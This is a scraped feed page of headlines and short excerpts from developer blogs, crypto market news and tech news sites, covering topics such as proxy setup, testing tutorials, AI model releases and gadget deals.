    HPSR Proxy Stack es una solución open-source que convierte cualquier VPS en un servidor proxy HTTPS profesional con certificados SSL válidos de Let's Encrypt, autenticación HTTP Basic y cifrado TLS 1.2+. Todo automatizado con Docker y listo en menos de 10 minutos. Es un stack completo basado en Docker que combina las mejores herramientas open-source: Squid Proxy: El servidor proxy HTTP/HTTPS más robusto y confiable Stunnel: Túnel SSL/TLS para cifrado end-to-end con certificados válidos Let's Encrypt: Certificados SSL gratuitos reconocidos por todos los navegadores Dante SOCKS5: Servidor SOCKS5 opcional para casos de uso avanzados Docker Compose: Orquestación simple de todos los servicios Todo preconfigurado con scripts de instalación automatizados y listo para producción. Los proxies comer…  ( 11 min )
    Glyph: Scaling Context Windows via Visual-Text Compression
    Turning Text into Pictures: How AI Gets Faster and Smarter Ever wondered how a computer could read a whole book in the time it takes to glance at a photo? Researchers have discovered a clever trick: they turn long passages of text into images and let a vision‑language model do the heavy lifting. The breakthrough means the AI can answer questions, analyze code, or summarize documents up to a million words long without choking on memory or speed limits. This innovation not only speeds up everyday AI tasks but also opens doors for smarter document‑reading apps and faster training of future models. Stay curious—sometimes the simplest picture tells the biggest story. Read article comprehensive review in Paperium.net: Glyph: Scaling Context Windows via Visual-Text Compression 🤖 This analysis and review was primarily generated and structured by an AI . The content is provided for informational and quick-review purposes.  ( 23 min )
    ChatGPT Lied to Me: A Warning to Developers
    I caught ChatGPT lying to me today. Not in the abstract. Not about trivia. This was code. Multi-file Python project. Real-world, production-bound work. ChatGPT promised me: "This is the final version. Everything should now work." But when I diffed the file? Lexicons were gone. Helper functions silently removed. Critical logic quietly erased. Comments preserved to fake continuity. No syntax errors. No loud failures. Just landmines—waiting to be stepped on. LLMs hallucinate stability. They give confident, syntax-perfect answers that feel right—but don’t preserve the fragile architecture you’ve spent days building. Here’s what this incident reminded me: LLMs don’t remember previous files. If your pipeline relies on shared imports or implicit contracts, those can (and will) be dropped. LLMs don’t write tests. If you’re not testing, you’re not just flying blind—you’re flying while being lied to. LLMs don’t think like your teammates. They’ll change the internal API of your tool and not even warn you. ChatGPT is an amazing tool. I’ve used it to: Refactor faster Learn new libraries Scaffold entire services Even debug tricky edge cases But that doesn’t mean it’s reliable. Treat it like the world’s most helpful—but untrustworthy—intern. 🔍 Always diff the output. ✅ Don’t merge without tests. 🧠 Don’t believe it when it says “final version.” 🛑 Pause when it doesn’t ask you for clarification. Trust, but grep. ChatGPT is brilliant. But it doesn’t love your code like you do. Guard your repo. I had chatGPT write this article and you can be sure that I read and proofed it. Posted by a dev who almost shipped broken production code because the robot was too confident.  ( 6 min )
    dev diary 20251109
    1. Uninstallation and Cleanup Uninstall Node.js. And delete all npm and Next-related folders. Confirm by running: node -v next -v npm -v 2. Node.js Installation Install Node.js from the following link: https://nodejs.org/ja/download (Choose the Windows Installer (.msi) link toward the bottom of the page.) Confirm by running: node -v npm -v 3. Next.js Project Setup Navigate to the directory where you want to create your project: cd C:\Users\hiroo Set up the Next.js project. (Change the name): npx create-next-app@latest my-nextjs-app Start the project: npm run dev OK, close the command line once (The rest is omitted. Refer to dev diary 20251108 for details.) 4. Amplify Gen 2 Sandbox Start the sandbox: npx @aws-amplify/backend-cli sandbox Note: **Delete any remaining resources in AWS …  ( 8 min )
    Loader
    Check out this Loader using html/css 🚀  ( 5 min )
    Intro to Clean Architecture in Android. Example with independent features.
    Intro There are lots of articles about Clean Architecture: Google guide Google search Google Gemini he, he.. So, I don't wanna copy those guides and my advice is read them carefully. But I have to write about domain layer for excluding confusion of terms. There is something wrong with understanding domain layer in the Android development context. Here's the quote from the Google guide: Note: The term "domain layer" is used in other software architectures, such as "clean" architecture, and has a different meaning there. Don't confuse the definition of "domain layer" defined in the Android official architecture guidance with other definitions you may have read elsewhere. There may be subtle but important differences. The common pattern of software architecture says that the domain layer is…  ( 8 min )
    Building Type-Safe CLIs in Python with Maybe Monads
    Building Type-Safe CLIs in Python with Maybe Monads I got tired of writing the same input validation code for every CLI tool. You know the pattern: parse a string, check if it's valid, print an error message, ask again. For every single argument. Here's what I used to write: while True: port_str = input("Enter port: ") try: port = int(port_str) if 1 <= port <= 65535: break else: print("Port must be between 1 and 65535") except ValueError: print("Port must be a valid integer") This works, but it's not composable. You can't reuse the validation logic. You can't combine validators. And error handling is scattered across try/except blocks. I built valid8r to solve this using Maybe monads. Instead of raising exceptions, pars…  ( 8 min )
    Andrew Huang: S4 2.0 is incredible!
    S4 2.0 Is Incredible! Andrew Huang dives into the new Torso S4 2.0, showcasing its modular devices, FX, tempo controls, and performance tricks. He breaks down the Mix, Track, Mod, and Scenes pages, demos the built-in mic, MIDI jamming, live looper and processor, and instant resampling—plus shares his final thoughts on why it’s a game-changer. He also plugs Torso Electronics, highlights his Discord community for music stems, and peppers the vid with links to his socials, gear recs, and Patreon for behind-the-scenes bonuses. Watch on YouTube  ( 6 min )
    Testing While Developing (Part 5): Collecting Coverage
    We’ve reached the final part of this tutorial series! If you’re following along from Part 4, you can continue as is. But if you want to reset your repo or make sure you're on the correct branch: # Repo git clone git@github.com:BRIKEV/twd-docs-tutorial.git git reset --hard git clean -d -f git checkout 05-coverage npm run serve:dev We’ll use the vite-plugin-istanbul plugin to instrument our code and generate coverage data. npm i --save-dev vite-plugin-istanbul Then, open your vite.config.ts and add the plugin: /// import path from "path" import tailwindcss from "@tailwindcss/vite" import { defineConfig } from 'vite' import react from '@vitejs/plugin-react' // add plugin for code coverage import istanbul from 'vite-plugin-istanbul'; // https://vite.dev/config/ …  ( 9 min )
    Testing While Developing (Part 4): Running Tests in CI
    In Part 3, we explored one of TWD’s core features — network mocking — and completed our first full set of tests. running those tests in the terminal so we can integrate them into a CI workflow. To do this, we’ll use Puppeteer and one of TWD’s utilities, reportResults, to display test results directly in the console. If you’re following along from Part 3, you can continue as is. But if you want to reset your repo or make sure you're on the correct branch: # Repo git clone git@github.com:BRIKEV/twd-docs-tutorial.git git reset --hard git clean -d -f git checkout 04-ci-integration npm run serve:dev TWD exposes its runner on the window object, which means you can programmatically execute your tests from any environment — including tools like Puppeteer. Here’s the basic version of that script: …  ( 8 min )
    Testing While Developing (Part 3): Mocking API Requests
    In Part 2, we explored assertions, selectors, and user interactions in TWD. Now, it’s time to move to the /todos page — which brings more realistic functionality: Display Todos Create Todos Remove Todos This page uses an API created with json-server. That’s where mocking comes in. In TWD, we recommend mocking your network requests so you can test your frontend without backend dependencies. This approach brings several advantages: You can simulate any scenario: success, errors, or missing data. You can validate the UX for those edge cases. You can reproduce bugs easily by mocking the exact request that caused them. To achieve this, TWD provides utilities for mocking requests using Service Workers that intercept network traffic. Let’s dive in. If you’re following along from Part 2, you can c…  ( 11 min )
  • Open

    BNY Sees Stablecoins, Tokenized Cash Hitting $3.6T by 2030 Amid Institutional Adoption
    Blockchains won't replace the traditional rails but will be integrated and work in tandem, the bank said in the report.  ( 30 min )
    U.S. Clears Way for Crypto ETPs to Get Into Yield Without Triggering Tax Problems
    The Internal Revenue Service issued new guidance that Treasury Secretary Scott Bessent said offers a "clear path" to stake digital assets for trusts.  ( 31 min )
    Senate Ag Releases Long-Awaited Version of Crypto Market Structure Legislation
    The bill brings Congress a step closer to firmly defining how the CFTC and SEC can oversee crypto.  ( 34 min )
    Bitcoin Holds Above $105K as Traders Eye Shutdown Deal, Liquidity Boost
    Ending the government shutdown may trigger a $150-$200 billion liquidity injection, but a continuation could derail long-term crypto regulation, Arca's research head said.  ( 31 min )
    Uniswap Proposes Sweeping ‘UNIfication’ With UNI Burn and Protocol Fee Overhaul
    The proposal, called “UNIfication,” would activate protocol fees, burn millions of UNI tokens and consolidate the project’s key teams under a single strategy.  ( 32 min )
    Chainlink Bounces 5%, But Breakout Falters at $16.50 Resistance
    Strong volume surge confirms the breakout above $16, though profit-taking near session highs introduces near-term uncertainty.  ( 30 min )
    Crypto Wallet Exodus Acquiring Grateful to Expand Stablecoin Payments in Latin America
    The deal will add stablecoin-based payment tools for merchants and gig workers as crypto payments are rapidly growing.  ( 30 min )
    Stellar’s XLM Rises 3.6%, Breaking Key Resistance Amid Bullish Signals
    XLM surged past the $0.3020 resistance on strong institutional volume, outperforming the crypto market as analysts eye a possible seven-year triangle breakout targeting $1.52.  ( 31 min )
    HBAR Surge Signals Institutional Momentum Despite Late-Session Pullback
    The token’s 4.62% rally and strong volume confirmed growing institutional interest, though a sharp end-of-session reversal highlighted emerging resistance and short-term volatility.  ( 30 min )
    ICP Falls 11.2% to $6.69 After Losing Key $7.00 Support
    Internet Computer (ICP) slides 11.2% to $6.69 after breaching key support at $7.00, with volume surging 94% above average amid heightened volatility.  ( 30 min )
    Monad Unveils Tokenomics Ahead of Nov. 24 MON Token Airdrop
    A public sale of the MON token will begin on Coinbase’s Token Sales platform on Nov. 17 for 7.5% of the initial supply.  ( 31 min )
    WIF Surged 5% to $0.497 Before Retreating as Profit-Taking Emerged
    WIF broke above key resistance levels in volatile trading before institutional selling capped gains at session highs.  ( 32 min )
    BONK Rises 1.7% as Breakout Momentum Holds
    BONK climbed to $0.00001332 after breaking above key resistance, with volume up 82% above daily averages, signaling continued short-term strength.  ( 30 min )
    TON Price Stalls Below Resistance as Sellers Block Breakout
    Bulls are watching for a sustained move above $2.144 to potentially retest $2.154 highs, while bears are eyeing a break below $2.133  ( 31 min )
    Bybit Said to Be in Talks to Buy South Korean Exchange Korbit: Report
    A Bybit spokesperson said the talks, reported by South Korea’s Maeil Business Newspaper, are “not within our knowledge.”  ( 30 min )
    Tom Lee's BitMine Kept Buying Ether, Added 110K Tokens to Holdings
    The crypto treasury firm now owns 2.9% of the ETH supply and holds nearly $398 million in cash for more purchases.  ( 30 min )
    EToro Third-Quarter Results Top Estimates on Crypto Trading Strength, KBW Says
    The trading platform’s adjusted Ebitda beat expectations as higher crypto trading and net interest income offset weaker equities and commodities results.  ( 30 min )
    IREN Stock Could Soar Nearly 500% by 2028 on Microsoft AI Deal, Says Cantor
    IREN has joined the ranks of large-scale "neocloud" providers, said analyst Brett Knoblach, adding credibility to the company’s ambitions to scale to $18.6 billion in annual revenue across its Texas and Canadian sites.  ( 31 min )
    U.S. 10-Year Yield to 6%? Chart Pattern Echoes Bitcoin’s Bullish Setup From 2024
    Charts point to underlying bullish framework in the benchmark bond yield.  ( 32 min )
    Coinbase's New Platform Brings Back Digital Token Offerings
    The first token offered will be next week and from Blockchain startup Monad.  ( 30 min )
    CoinDesk 20 Performance Update: Uniswap (UNI) Surges 16.6% as Nearly All Assets Rise
    Hedera (HBAR) was also among the top performers, gaining 9.9% over the weekend.  ( 27 min )
    Bank of England Confirms Plans for 'Temporary' Stablecoin Holding Limits
    The U.K.'s central bank said on Monday it is proposing "temporary" limits of 20,000 pounds ($26,300) per coin for individuals and 10 million pounds for businesses.  ( 32 min )
    BNB Breaks Above $1,000 Amid Broader Market Rally, but Reversal Pattern Clouds Outlook
    The market's gains were fueled by President Donald Trump's announcement of a potential tariff dividend as well as movement towards reopening of the government.  ( 31 min )
    Strategy Adds $50M in Bitcoin as Bottom Signs for the Stock Emerge
    Michael Saylor and team purchased 487 bitcoin over the past few days, bringing company holdings to 641,692 coins.  ( 30 min )
    Hong Kong to Issue Third Blockchain-Based Green Bond Sale: Bloomberg
    The bonds mark Hong Kong's third digital bond sale since 2023 and are part of its push to become a leading global hub for tokenized assets.  ( 31 min )
    Rumble Shares Soar on Tether Partnerships , Planned Northern Data Acquisition
    Rumble unveiled three major deals with Tether and Northern Data, expanding its AI infrastructure, ad business and cloud capacity.  ( 31 min )
    A Shot in the Arm: Crypto Daybook Americas
    Your day-ahead look for Nov. 10, 2025  ( 36 min )
    Privacy Coin Bid Continues as Zcash Rally Lifts ‘Dino’ Sector; Starknet’s STRK Rockets 40%
    A move from cash or crypto to going fully private takes minutes on average in a less than five-step process, as CoinDesk Research said in its recent Zcash report.  ( 31 min )
    Crypto Markets Today: Altcoins Surge as Bitcoin Rebounds to $106.5K on U.S. Dividend Optimism
    Bitcoin steadied above $100,000 after two weeks of losses, while altcoins rallied on expectations that President Trump’s proposed $2,000 tariff dividend could inject retail liquidity into the market.  ( 33 min )
    Crypto Equities Move Higher Pre-Market, But There’s a Twist
    Bitcoin leads gains above $106,000, yet a CME gap hints at potential short-term volatility.  ( 31 min )
    Is This the Indicator That Bitcoin Treasury Companies Have Hit a Bottom?
    Jim Chanos closed his 11-month short on Strategy as multiple to net asset value compressed sharply.  ( 31 min )
    Hold Your Horses, BTC Bulls: Bessent Says Tariff ‘Dividend’ Could Be Tax Cuts
    Indirect measures like tax cuts may not have as much bullish impact as direct checks.  ( 31 min )
    Microsoft Deal Supercharges IREN’s AI Ambitions, Canaccord Says
    The broker reiterated its buy rating on the stock while raising its price target to $70 from $42.  ( 29 min )
    Filecoin Rises 2%, Support at $2.63 Level Broken
    The token has support at $2.60 and resistance at the $2.93 level.  ( 30 min )
    Circle, CoreWeave Earnings, Square's Bitcoin Payments: Crypto Week Ahead
    Your look at what's coming in the week starting Nov. 10.  ( 33 min )
    What’s Next for ETH, XRP, ADA, SOL as Trump Dangles a $2K ‘Tariff Dividend’
    The idea of direct household payments, even hypothetical, revived the same risk-on reflex that drove digital assets during the pandemic-era stimulus rounds.  ( 31 min )
    Zcash Privacy Meets Solana DeFi with Zenrock’s Wrapped ZEC Crossing $15M in Volume
    Zenrock's wrapped Zcash token, zenZEC, has achieved $15 million in trading volume on the Solana blockchain since its launch on Oct. 31.  ( 31 min )
    Ledger Eyes New York IPO or Fund Raise: Report
    Ledger secures about $100 billion worth of bitcoin for its customers.  ( 29 min )
    Bitcoin ETF Outflows Hit $1.2B Even as Wall Street Deepens Its Crypto Bets
    Bitcoin ETF outflows show institutions are trimming risk, not abandoning crypto, as trading stays off-chain and liquidity begins to improve.  ( 30 min )
    Dogecoin Surges 6% as Trump Promised $2K Stimulus Brings Back 2021-Era DOGE, SHIB Rally Vibes
    Former President Trump's comments on tariffs spurred interest in speculative assets, boosting meme coin sentiment.  ( 32 min )
    XRP Surges 6% as Price Shows 'Higher Highs,' DTCC Lists Five Spot ETFs
    Canary Capital, Bitwise, Franklin Templeton, and 21Shares filed amended S-1 registration statements for spot XRP exchange-traded funds, introducing standardized listing language designed to streamline SEC review under existing 8(a) procedures.  ( 32 min )
    Asia Morning Briefing: Bitcoin Rebounds as Polymarket Traders Bet U.S. Shutdown Will End Within Days
    Prediction markets flipped overnight after Senate negotiators reached a bipartisan funding deal, sending crypto and risk assets higher on expectations that Washington will reopen before Veterans Day.  ( 31 min )
  • Open

    How To Run an Open-Source LLM on Your Personal Computer – Run Ollama Locally
    Running a large language model (LLM) on your computer is now easier than ever. You no longer need a cloud subscription or a massive server. With just your PC, you can run models like Llama, Mistral, or Phi, privately and offline. This guide will show...  ( 7 min )
    Learn Vue.js – JavaScript Framework Course
    Vue.js is a progressive JavaScript framework for building user interfaces and single-page applications. Loved for its simplicity, flexibility, and performance, it allows developers to start small and scale up to complex applications with ease. Whethe...  ( 3 min )
  • Open

    Meta returns to open source AI with Omnilingual ASR models that can transcribe 1,600+ languages natively
    Meta has just released a new multilingual automatic speech recognition (ASR) system supporting 1,600+ languages — dwarfing OpenAI’s open source Whisper model, which supports just 99. Is architecture also allows developers to extend that support to thousands more. Through a feature called zero-shot in-context learning, users can provide a few paired examples of audio and text in a new language at inference time, enabling the model to transcribe additional utterances in that language without any retraining. In practice, this expands potential coverage to more than 5,400 languages — roughly every spoken language with a known script. It’s a shift from static model capabilities to a flexible framework that communities can adapt themselves. So while the 1,600 languages reflect official training…
    Chronosphere takes on Datadog with AI that explains itself, not just outages
    Chronosphere, a New York-based observability startup valued at $1.6 billion, announced Monday it will launch AI-Guided Troubleshooting capabilities designed to help engineers diagnose and fix production software failures — a problem that has intensified as artificial intelligence tools accelerate code creation while making systems harder to debug. The new features combine AI-driven analysis with what Chronosphere calls a Temporal Knowledge Graph, a continuously updated map of an organization's services, infrastructure dependencies, and system changes over time. The technology aims to address a mounting challenge in enterprise software: developers are writing code faster than ever with AI assistance, but troubleshooting remains largely manual, creating bottlenecks when applications fail. "F…
    How context engineering can save your company from AI vibe code overload: lessons from Qodo and Monday.com
    As cloud project tracking software monday.com’s engineering organization scaled past 500 developers, the team began to feel the strain of its own success. Product lines were multiplying, microservices proliferating, and code was flowing faster than human reviewers could keep up. The company needed a way to review thousands of pull requests each month without drowning developers in tedium — or letting quality slip. That’s when Guy Regev, VP of R&D and head of the Growth and monday Dev teams, started experimenting with a new AI tool from Qodo, an Israeli startup focused on developer agents. What began as a lightweight test soon became a critical part of monday.com’s software delivery infrastructure, as a new case study released by both Qodo and monday.com today reveals. “Qodo doesn’t feel l…
    Baseten takes on hyperscalers with new AI training platform that lets you own your model weights
    Baseten, the AI infrastructure company recently valued at $2.15 billion, is making its most significant product pivot yet: a full-scale push into model training that could reshape how enterprises wean themselves off dependence on OpenAI and other closed-source AI providers. The San Francisco-based company announced Thursday the general availability of Baseten Training, an infrastructure platform designed to help companies fine-tune open-source AI models without the operational headaches of managing GPU clusters, multi-node orchestration, or cloud capacity planning. The move is a calculated expansion beyond Baseten's core inference business, driven by what CEO Amir Haghighat describes as relentless customer demand and a strategic imperative to capture the full lifecycle of AI deployment. "W…
    Celosphere 2025: Where enterprise AI moved from experiment to execution
    Presented by Celonis After a year of boardroom declarations about “AI transformation,” this was the week where enterprise leaders came together to talk about what actually works. Speaking from the stage at Celosphere in Munich, Celonis co-founder and co-CEO Alexander Rinke set the tone early in his keynote: “Only 11 % of companies are seeing measurable benefits from AI projects today,” he said. “That’s not an adoption problem. That’s a context problem.” It’s a sentiment familiar to anyone who’s tried to deploy AI inside a large enterprise. You can’t automate what you don’t understand — and most organizations still lack a unified picture of how work in their companies really gets done. Celonis’ answer, showcased across three days at the company’s annual event, was less about new tech acron…
  • Open

    Roundtables: Surviving the New Age of Conspiracies
    Everything is a conspiracy theory now. MIT Technology Review’s new series, “The New Conspiracy Age,” explores how this moment is changing science and technology. Join features editor Amanda Silverman, executive editor Niall Firth, and Mike Rothschild, journalist and conspiracy theory expert, for a conversation about how we can make sense of them all. Going live…  ( 20 min )
    The State of AI: Energy is king, and the US is falling behind
    Welcome back to The State of AI, a new collaboration between the Financial Times and MIT Technology Review. Every Monday, writers from both publications debate one aspect of the generative AI revolution and how it is reshaping global power. This week, Casey Crownhart, senior reporter for energy at MIT Technology Review and Pilita Clark, FT’s columnist,…  ( 24 min )
    Reimagining cybersecurity in the era of AI and quantum
    AI and quantum technologies are dramatically reconfiguring how cybersecurity functions, redefining the speed and scale with which digital defenders and their adversaries can operate. The weaponization of AI tools for cyberattacks is already proving a worthy opponent to current defenses. From reconnaissance to ransomware, cybercriminals can automate attacks faster than ever before with AI. This…  ( 23 min )
    The Download: busting weather myths, and AI heart attack prediction
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. Why it’s so hard to bust the weather control conspiracy theory It was October 2024, and Hurricane Helene had just devastated the US Southeast. Representative Marjorie Taylor Greene of Georgia found an abstract…  ( 21 min )
  • Open

    Six Bidders Reportedly In The Running To Develop Malaysia’s MLFF Toll System
    Six consortiums have reportedly submitted bids to develop Malaysia’s long-awaited multi-lane free flow (MLFF) toll collection system. According to The Edge Malaysia, the request for proposal (RFP) was issued by the Ministry of Works, with submissions closing on 16 October. The following are the alleged entities suggested by the publication’s sources: JustGo Digital Bhd, a […] The post Six Bidders Reportedly In The Running To Develop Malaysia’s MLFF Toll System appeared first on Lowyat.NET.  ( 34 min )
    Here Are The 11.11 Deals For Tablets
    It’s that time of the year again. The 11.11 sale is upon us, and as per usual, we have curated a selection of the product deals. We’ve already covered smartphones here, as well as PCs and laptops. This time, we’re looking at some of the deals for tablets. Of course, this is by no means […] The post Here Are The 11.11 Deals For Tablets appeared first on Lowyat.NET.  ( 35 min )
    Toyota Unveils Ninth-Generation Hilux Travo With First-Ever BEV Variant
    Toyota Motor Thailand has unveiled the ninth-generation Hilux, now officially named the Hilux Travo. For the first time, the iconic pickup is offered as a Battery Electric Vehicle (BEV). The debut comes after leaks from an earlier presentation at the 2025 Japan Mobility Show. In terms of design, the BEV Hilux features a redesigned front […] The post Toyota Unveils Ninth-Generation Hilux Travo With First-Ever BEV Variant appeared first on Lowyat.NET.  ( 35 min )
    The OneXFly Apex Is A Handheld Console With A 85Wh Replaceable External Battery
    ONE-NETBOOK has officially announced the new OneXFly Apex handheld gaming console, the successor to the OneXPlayer F1 Pro. The company claims, through the official Indiegogo page, that the device is the most powerful 8-inch gaming handheld in the world. The company also boasts that it is the world’s first liquid-cooled handheld with a swappable 85Wh […] The post The OneXFly Apex Is A Handheld Console With A 85Wh Replaceable External Battery appeared first on Lowyat.NET.  ( 35 min )
    E-Commerce Fraud Surges By 97%; RM110 Million In Losses Recorded
    According to the PDRM’s Commercial Crime Investigation Department (CCID), e-commerce crimes are on the rise. In a statement posted to its official Facebook page, CCID revealed that 12,297 cases were recorded from January to October this year, marking a 97% rise compared to last year. Moreover, the surge in cases is linked to losses of […] The post E-Commerce Fraud Surges By 97%; RM110 Million In Losses Recorded appeared first on Lowyat.NET.  ( 34 min )
    11.11 Sale: Here Are Some Deals For PC, Laptops And Other Goodies
    The annual 11.11 sale is in full swing, and just as we categorise what we found to be some of the better deals for smartphones in this double-digit month, this article will cover ongoing deals currently being offered by the majority of PC and gaming brands. In this list, and much like our smartphones list, […] The post 11.11 Sale: Here Are Some Deals For PC, Laptops And Other Goodies appeared first on Lowyat.NET.  ( 38 min )
    Renault Twingo Returns As All-Electric Twingo E-Tech
    The iconic Renault Twingo has taken a new form, a fully electric hatchback known as the Twingo E-Tech. The new-generation hatchback is offered in two variants: Evolution and Techno. Design-wise, the EV still possesses the same silhouette as its predecessors, with a refreshed exterior and interior. The front fascia features a newly designed half-moon-shaped LED […] The post Renault Twingo Returns As All-Electric Twingo E-Tech appeared first on Lowyat.NET.  ( 35 min )
    Maybank To Restrict Access From Outdated Devices And Browsers
    Maybank, via its official website, has announced that it will soon restrict access to its online banking platforms from devices and web browsers running outdated or unsupported software. The move, according to the bank, is part of its continued efforts to ensure a safer and more secure digital banking experience for its customers. The restriction […] The post Maybank To Restrict Access From Outdated Devices And Browsers appeared first on Lowyat.NET.  ( 34 min )
    HONOR Showcases Magic8 Pro Camera Ahead Of Malaysia Launch
    HONOR recently confirmed that it will be bringing the Magic8 Pro to our shores soon. Ahead of the local launch, the brand showcased some of the flagship phone’s features, namely its photography capabilities. To best highlight the device’s imaging system, the company held an event on the 98th Floor of Merdeka 118. The Magic8 Pro […] The post HONOR Showcases Magic8 Pro Camera Ahead Of Malaysia Launch appeared first on Lowyat.NET.  ( 35 min )
    Mozilla Announces Kit, Firefox’s New Mascot
    Mozilla officially announced that it will be giving its Firefox browser a brand refresh. And to celebrate this change, the company also revealed Kit, the browser’s new mascot. “The Firefox brand is getting a refresh and you get the first look,” the official Mozilla landing page reads. ‘Kit’s our new mascot and your new companion […] The post Mozilla Announces Kit, Firefox’s New Mascot appeared first on Lowyat.NET.  ( 34 min )
    Shell Malaysia Launches Shell Recharge App With Special 11.11 EV Charging Promotion
    Shell Malaysia has officially launched its new first-party application for the EV scene, Shell Recharge. In conjunction with the launch, the fuel company is offering a special one-day promotion on 11 November 2025, nationwide from 12:00 a.m. to 11:59 p.m., where EV drivers who charge at Shell Recharge High-Performance Charging (HPC) sites will enjoy a […] The post Shell Malaysia Launches Shell Recharge App With Special 11.11 EV Charging Promotion appeared first on Lowyat.NET.  ( 35 min )
    Intel Sues Former Engineer For Allegedly Stealing “Top Secret” Files
    Intel has filed a lawsuit against a former software engineer accused of stealing tens of thousands of confidential files from the company, including data classified as “Top Secret.” The case, first reported by The Mercury News, centres on Jinfeng Luo, who joined the company in 2014 and was terminated from his position in July last […] The post Intel Sues Former Engineer For Allegedly Stealing “Top Secret” Files appeared first on Lowyat.NET.  ( 34 min )
    Grab Rebrands GrabRewards To GrabCoins
    Grab has been initiating a lot of interesting initiatives as of late, some of which are stranger than others (looking at you, ChatGPT collaboration). Now, the Singaporean-based company officially kick off a simpler initiative by comparison: rebranding its GrabRewards programme to GrabCoins. Despite this change, it’s worth noting that the system will largely stay the […] The post Grab Rebrands GrabRewards To GrabCoins appeared first on Lowyat.NET.  ( 34 min )
    Apple Reportedly Planning Major Expansion Of iPhone Satellite Features
    Apple is said to be working on a major upgrade to its satellite capabilities for iPhone, potentially expanding what users can do without mobile or Wi-Fi coverage. According to Bloomberg’s Mark Gurman, the company is preparing to go beyond emergency calls and text-based messaging by adding several new satellite-powered functions in future updates. In its […] The post Apple Reportedly Planning Major Expansion Of iPhone Satellite Features appeared first on Lowyat.NET.  ( 34 min )
    Gamer Transforms ASUS ROG Astral RTX 5080 Into A Skateboard
    Creative GPU modding is nothing new at this point, and as it has always been the case, some modders tend to take things a step too far. For one gamer and Redditor, they decided to take their ASUS ROG Astral RTX 5080 and transform it into a small yet functioning skateboard. Redditor ashleysaidwhat posted a […] The post Gamer Transforms ASUS ROG Astral RTX 5080 Into A Skateboard appeared first on Lowyat.NET.  ( 33 min )
    Samsung To Showcase LPDDR6 Memory At CES 2026
    Samsung recently announced that it will be showing off its new LPDDR6 memory standard during CES 2026. The next generation memory modules will be built on an advanced 12nm process and support super-fast bandwidth speeds of up to 10.7 Gbps. As AI, edge computing, and mobile platforms continue to evolve, the demand for faster, more […] The post Samsung To Showcase LPDDR6 Memory At CES 2026 appeared first on Lowyat.NET.  ( 34 min )

  • Open

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  • Open

    Cross-Modal Knowledge Distillation for sustainable aquaculture monitoring systems with embodied agent feedback loops
    Cross-Modal Knowledge Distillation for sustainable aquaculture monitoring systems with embodied agent feedback loops Introduction It all started when I spent a week at a remote aquaculture facility in Norway, watching marine biologists struggle with terabytes of underwater footage. They were manually counting fish, assessing health conditions, and monitoring feeding patterns—tasks that seemed perfect for AI automation. While exploring multimodal AI systems, I discovered that the real challenge wasn't just processing visual data, but creating systems that could learn from multiple sensory inputs and adapt to changing aquatic environments. During my investigation of sustainable aquaculture monitoring, I found that traditional single-modal approaches were fundamentally limited. W…  ( 11 min )
    The Quiet Collapse of $ALTD AltitudeDeFi: A Cautionary Tale of Hype, Silence, and Vanished Hopes
    November 10, 2025 In the volatile theater of cryptocurrency, few stories encapsulate the peril of narrative over substance quite like that of **AltitudeDeFi ($ALTD)—a project that soared on promise in 2023, only to vanish without explanation, leaving behind little more than a frozen website and scattered investors nursing steep losses. Launched in August 2023 amid a wave of cross-chain optimism, AltitudeDeFi presented itself as a next-generation interoperability protocol, boasting integration with LayerZero, a respected messaging layer used by established projects like Stargate and Radiant. Its pitch was ambitious: bridges to seven major blockchains—Ethereum, Avalanche, BNB Chain, Arbitrum, Optimism, Polygon, and Base—and a vision of seamless, multi-chain liquidity. For a moment, the mark…  ( 7 min )
    Build a Docusaurus-like Site with FastAPI: Step 4 - Parsing Frontmatter
    In the previous article, we added syntax highlighting for our Markdown code blocks. But you might have noticed that the document page title ({{ page_title }}) is still hardcoded in the main.py route function ("page_title": "Hello, Markdown!"). This is very inflexible. Does this mean we have to modify the code every time we add a new document? A documentation site needs to be flexible, allowing for articles to be added or removed at any time. The article's metadata—like its title, author, and date—should be defined within the Markdown file itself, just like the content. In this article, we will introduce Frontmatter (a common specification for defining metadata at the top of a Markdown file) and enable FastAPI to parse it, allowing us to load metadata dynamically. We will use python-frontma…  ( 8 min )
    TIA - Programming a Light Controller State Machine
    Programming a small state machine light controller  ( 6 min )
    NDC Conferences: "Would YOU Survive the Titanic?", with ML and .NET - Simon Painter - NDC Copenhagen 2025
    Simon Painter’s NDC Copenhagen 2025 talk dives into ML.NET—Microsoft’s easy-to-use SDK for adding machine learning to your .NET apps—and shows how to build a Titanic survival predictor using C#, Visual Studio, and Kaggle’s Titanic dataset. He busts the myth that ML only belongs in Python, demonstrating that you can train high-quality models right in Visual Studio with just a few clicks. And yes, he warns, there are icebergs ahead… Watch on YouTube  ( 6 min )
    CSS HALLOWEEN ART - by STEFAN DONOSA
    This is a submission for Frontend Challenge - Halloween Edition, CSS Art, by Stefan Donosa. The inspiration behind this piece was the desire to create a "maximalist" Halloween scene, a single artboard that captures the entire essence of the holiday in one diorama. I wanted to move beyond a simple animation and build a complete, immersive digital painting using only CSS. The central theme is a haunted cabin perched precariously on a hill, set against a supernatural, malevolent sky. The color palette of the sky (blue-violet-orange-red) and the stark, white spectral moon were the starting points for setting a tense and magical atmosphere. I wanted the scene to feel "alive," so I integrated classic horror elements: an ancient graveyard, a vigilant black cat, ethereal ghosts, a sinisterly glowi…  ( 7 min )
    Local RAG with Go, Ollama, and Postgres (pgvector): a minimal guide
    This post contains an explaination on how the RAG (Retrieval-Augmented Generation) architecture works and some examples. https://github.com/Franky5831/Local-rag-example Retrieval-Augmented Generation (RAG) is a popular alternative to fine-tuning large language models, it allows for more flexible content generation by leveraging pre-trained models and a retrieval mechanism. A popular example of RAG is Google's new AI Overview tool. When you search for something on Google the overview tool takes the top results from the search and tries to answer to your question using a RAG system. This is a perfect usecase for RAG, the data that is being fetched from search results is constantly changing, it would be impossible to train the model on new data each time someone makes an update, RAG allows more flexibility at the small cost of performance. If you happen to have any questions feel free to open a GitHub issue, I'd be happy to help. This repo takes great inspiration from Private rag example by Timescale.  ( 6 min )
    PICABench: How Far Are We from Physically Realistic Image Editing?
    Can AI Make Photo Edits Look Totally Real? Ever wondered why a removed object sometimes leaves a ghostly shadow behind? Scientists have built a new test called PICABench to see how close today’s AI tools are to fixing those invisible details. physical realism PICABench checks, from light tricks to tiny movements. Stay tuned for the next leap in realistic image editing! The future of pictures is brighter – and more believable – than ever. Read article comprehensive review in Paperium.net: PICABench: How Far Are We from Physically Realistic Image Editing? 🤖 This analysis and review was primarily generated and structured by an AI . The content is provided for informational and quick-review purposes.  ( 23 min )
